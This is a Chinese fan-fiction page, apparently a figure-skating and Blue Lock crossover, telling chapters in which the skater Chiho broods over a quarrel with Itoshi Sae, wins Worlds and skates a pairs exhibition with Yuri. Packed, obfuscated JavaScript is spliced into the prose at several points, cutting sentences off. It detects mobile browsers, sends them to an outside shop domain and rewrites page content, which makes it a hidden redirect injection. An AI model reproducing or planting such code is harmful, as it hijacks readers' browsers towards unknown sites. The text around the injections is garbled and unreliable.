——真正可怕的是欧美fam,他们那边本就危险还信教,极端粉浓度极高 56L 当年日媒还说七七是“最像夜鹰纯的存在”,现在七七22岁拿下第二枚ogg,甩他个20岁就退役的八条街了都 ——穗神20岁还没退役就已经超过他了,他还是男单呢 ——禁止拉踩哦!到时候鹰粉打过来了我先跑 57L 就我单纯想知道纯哥为啥退役吗? ——很多人都想知道,但都迭代这么多年了,真在乎的也不多了 ——你圈十大未解之谜之一 ——其他九大还没编好 58L 毛男就那么一直给力到上ban位 日萝就这么被穗神带上巅峰没下来过 …… 36.放松 两人算是大吵一架了。 洁世一回家后是不敢触姐姐的霉头。 同时,他自己和糸师兄弟后续联系过。 冴的态度忽然又变回平时那样了,还拜托他转交准备送给洁千穗的生日礼物。 凛却是变得让洁世一摸不着头脑了(用他姐姐的话说就是“黑化变异了”),但好在凛并没有真的放弃足球。 糸师冴那天的话对世一的影响倒没有凛那么大。 世一反思过,也确实觉得自己踢球可能太温吞了。 但他觉得在白宝高校没有冴说的那么不堪(先不管对方是怎么知道自己去哪所学校了,十有八九是姐姐告诉他的),至少在那里的足球社、比其他人多许多经验的他可以说是主导者。 凪这样天才少见,玲王的实力也不差,只是其他的队员过于平庸了…… 反正,比起糸师冴他当然是更信任自己姐姐了。 他还没去计较对方那天吵架把他姐姐惹哭的事呢!在他记忆里就没见过姐姐红眼眶还擦眼泪,要知道姐姐可就要参加冬奥了! 光这一点,如果不是姐姐拦着,他事后都想骂糸师冴了—— 这里要洁千穗自己描述的话,她只是稍微擦了擦眼睛、不到半分钟就恢复了。 后面也全身心投入自己的全满贯事业中,糸师冴的那份礼物也没管。 现在她和胜生勇利维克托一起回国修整,然后去参加米兰世锦赛。 中间她抽空参加了好友们为她办的庆功宴、又去名古屋拜访了夜鹰纯几人。 “小光今年几岁了?”依旧是晚上,千穗在冰场看着狼崎光展示已经学会的所有二周跳。 “七岁。”鴗鸟慎一郎道。 “嗯……纯是打算教出第二个自己吗?”千穗很直白道,“是不是要求她所有比赛都拿金牌?那还不如跟我学呢。” 夜鹰纯看了她一眼,没否认。 鴗鸟慎一郎总觉得千穗心情不太好,不知道怎么回答,只是干巴巴地转移话题:“千穗还在赛场上,应该没有退役的打算吧……” “确实没有,我还打算参加下一届冬奥呢,然后再拿下金牌把某个人远远甩在后面!气死某个还在青训营待着的自大狂!” 千穗恶狠狠道。 慎一郎一开始还以为在点夜鹰纯,忍不住看了眼纯,后面听到“青训营”什么的就知道在说别人。 大概是某个他们不认识的朋友,也是洁千穗心情不好的罪魁祸首(他现在确信对方心情很糟糕了)。 滑完一组二周跳的狼崎光喘着气回到夜鹰纯这边,等待他的评价。 她自然也注意到了洁千穗,用古怪的、似乎是好奇的眼神打量了千穗一眼。 夜鹰纯只是对着狼崎光“嗯”了一声,没对她刚才的表现作评价,但应该是合格了。 小光看着松了口气。 “小光,这是千穗、洁千穗,阿纯和我的好友。”鴗鸟慎一郎简单介绍道。 “千穗,这就是阿纯的学生狼崎光,你前年来的时候应该见过她。” “您好。”小姑娘态度很礼貌,也仅限于礼貌,把好奇收敛得很好。 千穗看过《金牌得主》漫画,知道这小姑娘是个什么性格。 换成平时,她或许会有兴致逗逗小孩,可惜她最近心情不太妙。 于是千穗只是点点头,说了句:“你好。” 气氛有些尴尬。 鴗鸟慎一郎被迫再次带动话题,“小光平时也会看你的比赛录像……” “——心情不好?” 旁边夜鹰纯突然开口。 其余人纷纷转头看向他,目光困惑。 夜鹰纯目光盯着千穗,显然是在跟她说话: “上冰滑一下吧,你包里带了冰鞋。” “?” 千穗沉默了一两秒,反应过来这家伙可能在安慰自己。 “……行。”确实带了冰鞋、打算蹭冰场练一下的千穗接受了他难得的好意。 鴗鸟慎一郎脸上的表情莫名欣慰。 比较早熟的狼崎光也瞪大眼睛,很惊讶的样子。 【所以说,连夜鹰纯都比糸师冴拟人了】已经好久没动静的白鸦冒出来意味不明地吐槽一句。 千穗没管,很快去更衣室换好鞋子、脱了外套露出训练服。 . 三个人站在冰场边缘,看着那道身影滑入冰面。 千穗一开始的速度很快。冰刀切过冰面的声音比平时更重,更深,带着一种发泄式的狠劲。第一组跳跃就是3A+3T,起跳时身体比平时绷得更紧,腾空的高度却比训练时还高出一点——落冰时冰刀切入的深度让冰屑飞溅到挡板边上,滑出的弧线长而锋利,像一刀切开整片冰面。 她在生气。 夜鹰纯面无表情地看着,鴗鸟慎一郎却下意识绷紧了肩膀。套上羽绒衣、换下冰鞋的狼崎光站在挡板边,双手扒着边缘,眼睛一眨不眨地盯着那道飞速滑行的身影。 紧接着是4S。起跳前没有任何减速,后内刃切入的瞬间膝盖压到极深,身体腾空时裙摆甩出的弧度几乎要扫到冰面。四圈转完,落冰——冰刀敲击冰面的声音清脆得像碎裂的琉璃,她整个人稳稳地钉在冰面上,连多余的晃动都没有。 燕式巡场。她的身腿比例在滑行时格外突出——从髋部到冰刀的线条流畅得像是用一笔画出来的,浮腿抬起的高度超过90度,整个人呈一条笔直的斜线横贯冰场。她经过挡板边的时候,狼崎光的视线跟着她移动,眼中闪着亮光。 那团火在滑行中慢慢熄了。 第二圈巡场的时候,千穗的肩线已经松下来了。冰刀切过冰面的声音从“切”变成“沙”,弧线的末端不再那么锋利,开始出现圆润的收尾。她做了两组交叉步,身体的重心随着膝盖的屈伸自然起伏,呼吸的频率渐渐和滑行的节奏合拍。 狼崎光发现自己看入迷了。 夜鹰纯一直都有会让她看洁千穗小时侯的训练或比赛视频,问他“能做到吗?”——她每次都会点头。 狼崎光还知道,夜鹰纯有时候会录自己在冰上的视频。她以前不知道是为什么,最近看完冬奥直播发现是给千穗的—— 甚至,对方的每套节目夜鹰纯都滑过。 狼崎光从此对千穗的好奇越来越浓重。 鴗鸟慎一郎告诉过她,洁千穗和夜鹰纯一样职业生涯每场比赛都是金牌,被日媒体称为“和夜鹰纯最像的存在”。 她最近又看了很多遍洁千穗的比赛录像和训练录像—— 仿佛是能通过洁千穗看见夜鹰纯过去是怎么样的、这片冰场又有什么魅力将他们这样的人留住。 但现在,狼崎光发现她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小光抿了抿嘴,很诚实地点头。“好看。” 千穗笑了。 不再是之前有些客气敷衍的、大人对小孩的那种笑,是真的、从胸腔里涌上来的、眼睛弯成月牙的那种笑。“你刚才的表现也很棒哦,这个年纪已经学会所以二周跳了吗?很了不起啊……” 她又上下打量着小光,“而且你看着似乎比同龄人高?花滑不适合长太高,容易重心不稳——虽然你现在还小,但能跳那么好,说明你技术很好啊。” 她自己也被说过腿太长。 “……谢谢夸奖?”小光眨眨眼。 千穗感慨,“你要是和同龄人比赛的话,肯定能拿冠军。”除了之后遇到结束祈。 “如果是我的学生,就该和我一样。”纯在一边淡淡道,语气理所当然。 千穗知道这是指和他一样所有比赛都是金牌。 “那我大概也算你的学生?你发给我的教学视频可不少。”现在心情放松的千穗调侃。 夜鹰纯听出什么地“哼”了一声。 “不过我也有付教练费啦。”她看着小光笑眯眯道,“要不要叫我一声大师姐?你家教练固定工资可都是我给发的。” “大师姐?”七岁的狼崎光用那种很纯粹、近乎野性的目光盯着她,似乎在疑惑、又似乎是在试图捕获她的一切反应。 “欸~”千穗很坦然地接下,对于她那种目光也接受良好。 慎一郎在一旁笑了笑,“因为千穗,阿纯这些年总算是没那么排斥手机了。” 知道的人清楚这是指纯好歹不会突然摔手机了。 “呵呵,那我可真是拯救了纯的钱包呢。” 夜鹰纯被两人连续调侃,也不怎么在意。 37.纠结 洁千穗在冰场上滑完,果然心情舒畅了。 并且有了下赛季编舞的灵感,匆匆告别后马不停蹄的离开回去把灵感记录下来。 由于这会儿时间不早了,经纪人北野开着车送她先回宾馆,明天早上再去九州和维克托他们一起做航班飞往米兰—— 她很忙的。 . 上了车,千穗靠在副驾驶的座位上,手机屏幕的光映在她脸上。 现在已经三月了,天气转暖,但车内的暖气依旧开得很足。 她刚给雷奥尼多发完几条语音,大意是《骷髅之舞》的编舞思路、夜鹰纯的建议、以及她自己的想法。有时差的雷奥尼多大概还在忙,没立刻回复。 车窗外的名古屋夜景缓缓后退,街道旁的店铺已经陆陆续续关门了。 北野宁宁开着车,目光不时从后视镜里瞥过来。千穗没有注意到,或者说注意到了但没有力气回应。她只是盯着窗外,手指无意识地摩挲着手机壳的边缘。 车在红灯前停下。 “千穗。”北野宁宁开口了,声音不大,但在安静的车厢里格外清晰。 “嗯?”千穗没回头。 “这两个月,你心情一直不太稳定。”北野宁宁的语气是陈述句,不是疑问,“训练的时候还好,一停下来就不对劲。刚才去名古屋之前,你在车上也一直看手机。” 千穗的手指停住了。 “是出什么事了吗?”北野宁宁问得很轻,像怕惊动什么似的。 千穗沉默了几秒。车窗外的红灯跳成绿灯,车子重新启动,驶过路口,进入一条更安静的街道。 “没事。”她说,声音比自己预想的要平静,“一点朋友间的小矛盾,我能处理好的。” 北野宁宁没有立刻接话。她跟了千穗四年,从十四岁到十八岁,从青年组到奥运冠军。她见过千穗赛前紧张的样子,见过她练四周摔到膝盖淤青还咬牙爬起来的样子,见过她站在领奖台中央闪光灯铺天盖地落下来的样子。但她很少见千穗这个样子——愤怒或沮丧都不足以形容,这是一种更深的、更安静的、像冰面下的水流一样的东西。 “那就好。”北野宁宁说,“不过,千穗——” 车子在酒店门口停稳。北野宁宁熄了火,侧过身看着她。 “有什么需要帮助的地方,一定要跟我说。” 千穗转过头,对上经纪人的眼睛。那双眼睛里没有追问,没有试探,只有一种很纯粹的、不带任何附加条件的关心。 她忽然有点羞恼、对自己居然也如此情绪外露让人担心而羞恼。 “……好。”她说,声音比刚才轻了一些,“谢谢宁宁姐。” 北野宁宁笑了笑,伸手在她肩上轻轻拍了一下。“早点休息,明天还要赶飞机。” 千穗点点头,解开安全带,推开车门。夜风灌进来,带着三月特有的凉意,吹得她下意识拉了拉衣服外套。 她回头看了一眼。北野宁宁还坐在驾驶座上,正低头看手机,大概是确认明天的行程。车内的灯光把她的侧脸照得很柔和。 千穗把车门关上,转身往酒店大门走去。 电梯上行的时候,她靠在电梯壁上,盯着头顶的数字一格一格跳动。手机在口袋里震了一下,她掏出来看。 是雷奥尼多的消息。 【收到,明天细聊。《骷髅之舞》的构想很有意思,纯的建议很好。不过你确定要用自由滑?这首曲子的节奏变化很复杂,体力分配会是个问题。】 千穗盯着屏幕看了两秒,打字回复: 【确定。我下个赛季的目标不只是卫冕。】 发完之后,她把手机收进口袋。 电梯门开了。 走廊里很安静,地毯吸收了脚步声。千穗走到自己的房间门口,刷开门卡,推门进去。 …… 洗漱完,千穗躺在床上,开始每日睡前刷新闻。 依旧先是看推特。 热搜第一是冬奥且相关带着她的名字(这已经连续一周上榜了),第二条是某个大明星结婚,第三是——“PIFA评选:新一代十一杰”。 她点进去,热门的是一条体育账号的推文,每个新十一杰都有配图和介绍。 论到糸师冴的照片,他穿着RE·AL青训队服的照片。 照片里他站在更衣室,刚换好衣服,表情和平时没什么两样,手搭在旁边的柜门上,手腕上戴着一黑一白两条手链。 她的手指悬在屏幕上方。 他还戴着。吵架那天也戴着。骂世一的时候、掰开她手指的时候、说“随便你”的时候,那两条手链就挂在他腕骨上,在灯光下晃来晃去。她忽然觉得鼻子有点酸,没有想哭,只是那种被堵住的感觉,像吞了一块没化开的糖,卡在喉咙里,甜也不是,咽也不是。 千穗干脆摁灭屏幕,翻身,把脸埋进枕头里。 枕套是酒店标准的白色,带着一股柔顺剂淡淡的柠檬味,干净得让人提不起劲。 ……她莫名开始回忆两个月前的那个晚上。 她记起了雪落在他的白色外套上的样子、领口被她攥出的褶皱,和他掰开她手指时骨节硌在她腕骨上的触感。 “你以为自己有多了解我?” 她了解他吗?她以为她了解。六岁在神奈川的院子里他主动搭话初识,到八岁搬家前最后一次去他家,他又弄名其妙生闷气,最后却还是在她搬家后给她发消息。之后每年生日互送礼物,比赛时即使没时间也都给彼此留票,她有空还飞去马德里看他。 她以为这些足够了解一个人了。 可最后呢? 她又猛地翻了个身,把被子卷到胸口。手机又亮了,是雷奥尼多发的消息,问她《骷髅之舞》想编排那些跳跃,大概是对面灵感来了等不到明天现在就想跟她细聊。 但千穗实在没心情。 于是这次由她回了个“明天再说”,然后把手机扣在床头柜上,面朝下。 ……但还是睡不着。 脑子里依旧播放着那天雪夜的画面——他站在球场中央,背对着所有人说“消失吧,凛,你没有任何价值”。她当时第一反应不是生气,是害怕。她认识他这么多年,从没听过他用那种语气说话。不仅仅是冷漠,还带着一种把什么东西从身体里剜出来、扔在地上的决绝。所以她冲上去拽住他的衣领。她以为他能听懂——早点告诉凛、好好沟通、别死要面子。她以为只要有人拉他一把,他就不会说出那些收不回来的话。 但事实并非如此。 他把她的手掰开,一根一根。 他说“不喜欢管控别人的毛病也该克制下了”,说“不了解绿茵场的门外汉就别指手画脚了”。他甚至把世一也骂进去了。“连学校没个像样的足球社都没关系,真是没出息啊”——这话她记得每一个字。世一什么都没做错,只是站在那里,就被他也算在内、用言语的刀子切割的。 她把被子拉过头顶,整个人缩成一团。 手机又震了一下。她不想看,但手已经伸过去了。是世一的消息,问她到宾馆没,明天几点的飞机。她回了个“到了,下午三点”,然后盯着对话框看了几秒。世一回了个“好的”,就没再发消息过来,大概也要睡觉了。 千穗切出去,自然而然地看见了置顶聊天里的“面瘫人机冴”,头像是刘海冴和她送的小猫玩偶。 鬼使神差,她点了进去。 入目是十天前他发过一条消息,就两个字:恭喜。 是她冬奥夺冠那天发的。她没回。不是还在生气——好吧也许有一点——更多的是不知道该说什么。“恭喜”?那她回什么?“谢谢”?然后呢?像以前一样问他训练怎么样、和队友相处得怎么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382263|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他说“还行”,她说“那就好”,然后对话结束?假装那天晚上的事没发生过? 她把手机扔到床尾。 窗外的名古屋夜景缩成一小块长方形的光,贴在玻璃上。她盯着那块光,却还在想他说“即将实现梦想的天才不用陪他们玩”时的表情——了不是嘲讽,是某种她看不真切的东西,像是隔着一层起雾的玻璃,里面的人在喊,但她听不清……不,她真的不清楚那雾里是什么吗? 她知道的,她愤怒是因为一股不甘不忿冲着她来了、于是她告诉他“你被别人踢得认为自己没有前锋才能就直说”。 她也清楚这话说得太狠了,也知道自己戳到了什么——在他握着她手腕的手指收紧的那一瞬前,她就知道了。 但她没道歉,她也在气头上。 千穗把脸埋进枕头里,声音闷闷的:“烦死了。” 她尊重他们的“命运”。她一直这么告诉自己。世一的足球、凛的足球、冴的足球,那是他们自己的路,她只是恰好知道一些“未来”的片段,不代表她有权插手。可她真的只是“知道”吗?她带世一去神奈川看冴的比赛,让世一和凛从小认识,提醒冴早点跟凛沟通——她以为冴应该听进去了。 是的,她以为自己提醒了糸师冴,能让他早点、更加清晰完整地和糸师凛交流,说明自己的选择。而且这四年糸师兄弟也是一直有联系啊,不应该出现像原著那样诡异的沟通、走到扭曲的地步。 结果呢?有什么区别?凛还是崩溃了,冴还是说出了那些话,世一都被卷进来——还有她,她也被卷进来了,站在下着雪的球场,被一个认识了十二年的人说“不了解就别指手画脚”。 她咬着牙,思绪又一步发散。 ……如果当初是因为糸师冴态度的问题生气,后面乃至现在呢?她又在气什么? ……气自己比自己以为得要傲慢、傲慢得以为自己会心想事成。 哈哈,要知道这个世界的运动番主角都有没达成目标的。 千穗受不了了,突然坐起来,俯身去拿床尾的手机,再次打开和冴的对话框。 又看了眼那条“恭喜”,她往上翻。 上面是她告诉对方自己冬奥节目选曲的事,他问了为什么,她回答“因为它够真实”。 再往上,有芬兰杯夺冠后发的照片,他回了个“嗯”;再往上,是她问他护踝用了没,他发了一张穿着球袜的照片,护踝若隐若现。 再往上——太多了,从拥有手机开始算,有十年了。 她一个字一个字地打:“你入选十一杰的消息我看到了。”然后删掉。重新打:“最近有和凛联系吗?”删掉。再打:“那天晚上的事,我想了很久。”删掉。 她盯着空白的输入框,手指悬在键盘上方,就是一个字都打不出来。最后无可奈何,她锁了屏幕,把手机扔到枕头旁边,关灯,彻底发誓不再看手机了好好睡觉了。 可黑暗里,她仍睁着眼睛。 窗外有车经过的声音,远远的,像海浪。她想起小时候在神奈川,晚上也能听见这种声音,那时候她刚搬去,还不习惯海风的味道,趴在窗台上看对面院子。糸师冴在颠球,颠了一百多个都没停,她数着数着就忘了数到哪,干脆趴在胳膊上看他。他停下来抬头看她,问“有事吗”。她说“你球颠得真好,能教我吗”。他就“哦”了一声,让她下来。 那时候多简单。 她把被子拉过头顶,强迫自己闭上眼睛。明天还要早起,飞米兰,比世锦赛。她没有时间想这些。 可她还是在想、想着自己被他人评价为“一帆风顺”的人生、想着夜雪后《蓝色监狱》的剧情、想着糸师冴在青训的经历…… 糸师冴,你个混蛋。 她在心里骂了一句,也不知道是在骂他,还是在骂那个大半夜不睡觉、翻来覆去想着同一个人的自己。 38.此章微妙 世锦赛的节目和冬奥一样,但不同的是,这次千穗将5种4周跳全搬上来了。 在女单才进入四周且发现发育关前更容易出四周的时期,她落地了五四套clean,整套节目的艺术表现力也很完美。 有什么理由不将金牌颁给她呢? 在她达成全满贯、又给花滑整体带来前所未有的高热度、并算上系统最后一次赠送的幸运卡,冰协是乐见其成的,甚至一改之前对她偏保守吝啬的态度。 他们乐意看见她的热度回馈花滑变现成金钱(确切来说是回馈到他们的钱包),尝到了“奇迹”“神话”的甜头,便愿意维持这份热度、持续“造神”。 换言之,他们开始想要“捧”着她了。 但千穗不需要。 她不需要这种虚伪的东西,她已经足够完美了。 她只要他们打分客观些就行,P分不管,GOE别再莫名其妙+0了——她是不是还得谢谢他们之前没给她负分呢? 即使米兰的冰算不上优越,她也不在乎。 今晚的冰面是她的,硬一点软一点,都是她的。 自由滑,依旧是《First Step》+《Experience》混剪,她这次正式将这套节目命名为《成长》。 然后—— 五个四周跳,五种起跳方式,全部clean。 所有的跳跃,依次是3A+3T、4S、4T+1Eu+3S、4F、4Lo、4Lz+3Lo—— 按照她学会的顺序,稳稳落冰。 最后一个跳跃完成的瞬间,冰刀切进冰面的声音干脆利落好似把刀插进刀鞘。她站在冰面中央,胸口剧烈起伏,灯光从头顶倾泻下来,把她整个人照得发亮。潮水版的掌声再熟悉不过了,而她的耳朵里却只从中捕获着自己的心跳,急促有力、代表着兴奋的心跳。 因为,金牌是她的、也只能是她的。 … Kiss&Cry区的分数出来,突破260了。 雅科夫站在她旁边,什么都没说,只是把手搭在她肩上。那只手很重,但千穗知道那是肯定的意思。北野宁宁在挡板外面举着手机拍照,眼眶红红的,但嘴角翘得很高。 颁奖的时候,千穗理所当然站在最高的那个位置上,闪光灯铺天盖地落下来。 她低头看着胸前的金牌,忽然想起很久以前——大概是刚升组那年——有人问她为什么滑冰,她说因为喜欢。 那拿了全满贯后的现在呢?很多人以为这就足够了、甚至有人期待着她退役。 但她觉得不够、远远不够。 千穗摸了摸金牌的边缘,金属的触感冰凉。她还是喜欢花滑,且喜欢赢,喜欢站在最高处,喜欢让所有人都看着她。 . 尤里的金牌拿得比她惊险一点。短节目落后勇利1.2分,自由滑前半段又有一个4S落冰不稳。但后半段他像疯了一样——3A+1Eu+3S 4T+3T,4Lz+4Lo,一个比一个狠,一个比一个不要命。最后一个跳跃落地的瞬间,他整个人都跪在冰面上,冰刀切进去的深度远超寻常。 他站起来的时候,脸上的表情不是笑,是某种更凶的东西。像野兽咬住了猎物的喉咙,终于可以喘一口气。 等到赛事末总颁奖集体亮相时,尤里站在她旁边。两个人脖子上都挂着金牌,灯光把他们的影子投在领奖台后面的幕布上,一左一右,中间隔着半个身位的距离。他比她高了快一个头,站在一起的时候,她的视线刚好落在他锁骨的位置。 千穗侧头看了他一眼。他正盯着手里的金牌,表情还是那副“谁都别来烦我”的样子,但嘴角翘着。大概是察觉到她的视线,他转过头来。 “看什么?”语气硬邦邦的。 “看你啊。”千穗理所当然地说,“金牌好看吗?” 尤里愣了一下,然后别过脸去,耳朵尖红了一瞬。 “……还行。” 千穗笑出了声。 从领奖台上下来的时候,维克托在通道口等着他们。他靠在墙边,银灰色的头发被灯光照得发亮,脸上挂着那种标志性的、让人分不清是真心还是营业的笑容。 “恭喜两位。”他拍了拍手,“金牌很配你们。” 千穗和尤里同时看他。维克托笑得更深了。 “所以——明天的双人滑表演,还记得吗?” 尤里的表情僵了一瞬。就一瞬,但千穗看见了。 “你该不会是想反悔吧?”千穗挑眉,“我们可都练了几天了。” “谁反悔了!”尤里的声音立刻高了八度,“只是有点不习惯。” “练习时状态很好,上场只会更好。”维克托的语气轻飘飘的,“毕竟你们都是奥运冠军了,双人滑而已,难不倒你们的。” 尤里还想说什么,但维克托已经掏出手机,屏幕上是两套考斯滕的设计图——一套红,一套黑。红的那个裙摆比一般的考斯滕长一些,领口是深V,肩膀上有羽毛状的装饰;黑的那个是裤装,立领,袖口收紧,腰线收得很窄。 “适配《摇滚红与黑》的衣服,我亲自设计的,已经让人送过来了。”维克托说,“更别说选的是《La gloire à mes genoux》了。”(《荣耀向我俯首》) 千穗盯着那两套设计图看了两秒。 “头发呢?红发配红衣服,黑发配黑衣服?” 维克托眨了眨眼,“你们愿意染?” “为什么不呢?”千穗耸肩,“反正又不是没染过。” 尤里在旁边沉默了几秒,然后从牙缝里挤出一个字: “……染。” . 《红与黑》的双人滑表演是怎么回事呢? 事实上,维克托、雅科夫推荐下,两个人其实早在12月份的大奖赛总决赛就约好了如果双金牌就出双人滑表演,不过因为欧锦赛尤里没拿冠军而且千穗参加的是4CC、冬奥安排群舞,他们一直到世锦赛,才在维克托联系主办方后得到大力支持的情况下(主办方铁定是为了热度),安排滑《红与黑》的《荣耀向我俯首》双人表演。 等两人比赛结束后就开始排练了,主要是练双人部分,毕竟他们大奖赛后就分开练自己的部分了。 排练比想象中顺利,也比想象中麻烦。顺利是因为两个人的技术都足够好,托举、螺旋线、同步跳跃,这些对尤里来说都不是问题;麻烦是因为——他们太熟了、或者说又太陌生了。 千穗第一次搭上他肩膀的时候,尤里的整个背都绷紧了,像一张拉满的弓。 “放松点。”千穗说。 尤里没说话,但他的肩膀慢慢松下来。第二次的时候就没那么僵了,第三次更自然。到第二天,他已经可以在托举的时候用另一只手护住她的腰了。 “尤里奥其实很温柔嘛。”千穗在某次练习结束后说。 尤里正弯腰拆冰刀套,闻言动作顿了一下,恶狠狠道:“闭嘴!” 千穗笑着跑开了。 维克托每天都会来看他们排练,有时候带着勇利,有时候一个人。他靠在挡板边,手里拿着个笔记本,时不时写几笔。千穗有一次凑过去看,发现上面画的是两个人的站位图,用箭头标出了每一个动作的轨迹,旁边还写着密密麻麻的备注——“千穗起跳前的重心可以再低一点”、“尤里托举时左手的位置偏了”。 “你还挺认真的。”千穗说。 维克托抬起头,笑了一下。“当然,这可是我的作品。” “你不是说这是我们的表演吗?” “是你们的表演,”维克托合上笔记本,“但编排是我做的。编排就是我的作品,跟谁滑没关系。” 千穗看着他,忍不问出自己的疑惑:“你作为男单选手还会编双人滑节目?以后真打算当编舞师了啊。” 维克托失笑,“这可是我仅有一次的双人滑编舞体验,小千穗和尤里奥可要好好珍惜啊。” 千穗耸耸肩,“好吧。” . 现在集体颁奖日就是练习的最后一天(主办方特意准备了明天一整天给所有人表演),尤里难得没有在结束后立刻就走。他坐在挡板边,手里拿着水瓶,看着千穗在冰上做最后的练习。她已经换下了训练服,穿着那套红色的考斯滕——长裙摆,深V领,肩膀上的羽毛装饰随着她的动作微微颤动。刚刚染好的红色头发在灯光下几乎要烧起来。 千穗滑了一圈回来,在他面前停下。“怎么了?” 尤里看着她,沉默了两秒,“……你的头发,染成红色还挺好看的。” 千穗愣了一下,然后弯起眼睛。 “你的也是,黑色很适合你。” 尤里别过脸去,“……哼。” . 表演滑当天的冰场比比赛日更满。 观众席带着躁动与兴奋,灯暗了又亮。有人在喊名字,有人举着应援牌,红与黑的色块在人群中零星散布——大概是看了预告特意准备的。 千穗站在入口处,深吸一口气。考斯滕的羽毛装饰蹭着她的锁骨,有点痒。头发染的是最鲜艳的那种红,在昏暗的灯光下像一团即将点燃的火。 “紧张吗?”她问。 “不紧张。”尤里的声音硬邦邦的。 “我也不紧张。” 两个人对视了一眼。他黑色的头发被灯光照出一层冷光,立领遮住半截脖子,露出来的那截苍白得像冰面。千穗忽然想起十二月的那个晚上,雪落在白色外套上的样子,也是这种苍白的、冷到发蓝的白。她把这个念头压下去。 “……那就走吧。”尤里说。 冰场的门推开,冷气扑面而来。他们踏上冰面,一左一右,冰刀磕在地面上的声音几乎同步。观众席的躁动安静下来,灯光收暗,只剩两束追光打在他们身上。一束红,一束白,把两个人钉在冰面两端。 低沉的弦乐从音响里流出来,像远处滚来的雷,又像什么东西在地底翻涌。千穗低着头,右手按在胸口——心跳的位置。尤里站在冰场另一端,背对着她,双手插在裤袋里,姿态松散得像只是在训练后多站了一会儿。 第一个音符落下的瞬间,两个人同时抬起头。 3A。 同步跳跃,阿克塞尔三周半。起跳前没有任何交流,连目光都没有交汇,但起跳的时机分毫不差。左前外刃切入冰面的声音重叠在一起,像同一个人的心跳。 腾空——高度几乎一模一样,像是照镜子。然后落冰,右后外刃切进冰面的声音也重叠在一起,清脆得如同击掌。 观众席爆发出惊呼。 千穗没听。 她滑向冰场左侧,尤里滑向右侧,两个人背道而驰,在冰面两端同时进入接续步。 她的步法是张扬的、燃烧的,冰刀切过冰面的弧线一道比一道深,裙摆随着膝盖的屈伸翻卷,像火焰被风卷起时的姿态。他的步法是内敛的、压迫的,重心压得极低,冰刀切过冰面的声音比她的重,每一下都像要把冰面凿开。 两个人沿着冰场的边缘画出两道弧线,一红一黑,在冰场两端对称地展开,像镜子的两面。然后在冰场中央——交汇。 尤里的手搭上她的腰。千穗的手搭上他的肩。两个人的距离近到能看清对方睫毛上结的霜。尤里的手很稳,比排练的时候更稳,像怕弄碎什么似的。千穗看了他一眼,他没看她,视线落在冰面上,但嘴角绷得很紧。 托举。她的身体被举起来的瞬间,裙摆展开,红色的羽毛在灯光下燃烧。她的视线越过他的头顶,越过观众席,落在很远很远的地方——十二月的球场,雪落在白色外套上,领口的褶皱,掰开她手指时骨节硌在腕骨上的触感。 尤里把她放下来。落冰的瞬间,她的手还搭在他肩上,他的手臂还环着她的腰。两个人的距离比刚才更近,近到她的呼吸打在他锁骨上。 “专心。”尤里说,声音低得只有她能听见。 千穗弯起嘴角,“我很专心。” 螺旋线。她的身体后仰,冰刀在冰面上划出一道深深的弧线,尤里的手稳稳地托着她的背。他的手掌很热,隔着考斯滕的面料都能感觉到。红与黑在冰面上交织,像两团纠缠在一起的火。 然后分开。两个人同时蹬冰,向相反的方向滑去,在冰场两端同时起跳— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383759|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —4T,同步后外点冰四周。腾空,旋转,落冰。他的落冰比她的重一个分贝,冰屑飞溅的高度也比她高一点。不是技术差距,是力量差距,男单和女单天生的、不可消弭的差距。但她在艺术分上追回来。 接续步再次交错的时候,她的冰刀切进冰面的深度比之前更深,身体的倾斜角度比之前更大,裙摆在离心力下几乎展开成一个完整的圆。她从尤里面前滑过的时候,目光扫过他的脸,那一眼里带着笑,像在说,看,我也不差。 尤里的嘴角动了一下,弧度很小,但千穗看见了。 最后一组同步跳跃是3A+1Eu+3S。起跳前,两个人站在冰场两端,背对背。灯光从头顶照下来,把他们的影子投在冰面上,朝相反的方向延伸。 音乐进入高潮前的最后一个休止符。安静。千穗听见自己的心跳,至于冰上的另一个人——当然听不见,但她就是知道,他的心跳也在加速。 弦乐切入的瞬间,两个人再次同时起跳。左前外刃切入冰面的声音重叠,腾空,旋转,落冰——她的落冰比他早一秒,滑出的弧线比他长二十厘米左右。不是失误,是编排。维克托在笔记本上写过,“千穗先落冰,滑出的弧线要长,视觉上像在追赶;尤里后落冰,重心要压得更低,像在蓄力”。然后是1Eu,再然后是3S。两个人的后内结环三周先后落冰,一拍咬着一拍。 音乐没有停。但节奏变了,从激烈转向某种更沉重的东西。 尤里滑向她,这一次没有托举,没有螺旋线。两个人面对面站在冰场中央,距离不到半步。她的手搭上他的肩,他的手环上她的腰。不是双人滑的标准姿势,是更私密的、更像舞者的姿态。 然后他们分开、开始旋转。 并非传统的双人旋转,是两个人同时单足旋转,轴心不同,转速不同,但彼此的视线始终锁在一起。红与黑在灯光下旋转,越来越快,越来越快,快到她分不清自己的心跳和他的心跳。她看见他的眼睛——蓝绿色的,比她见过的任何时候都亮。带了黑色的胶睫毛、又用睫毛膏染了,衬得那双眼睛更深、更沉。 旋转慢下来,慢下来。 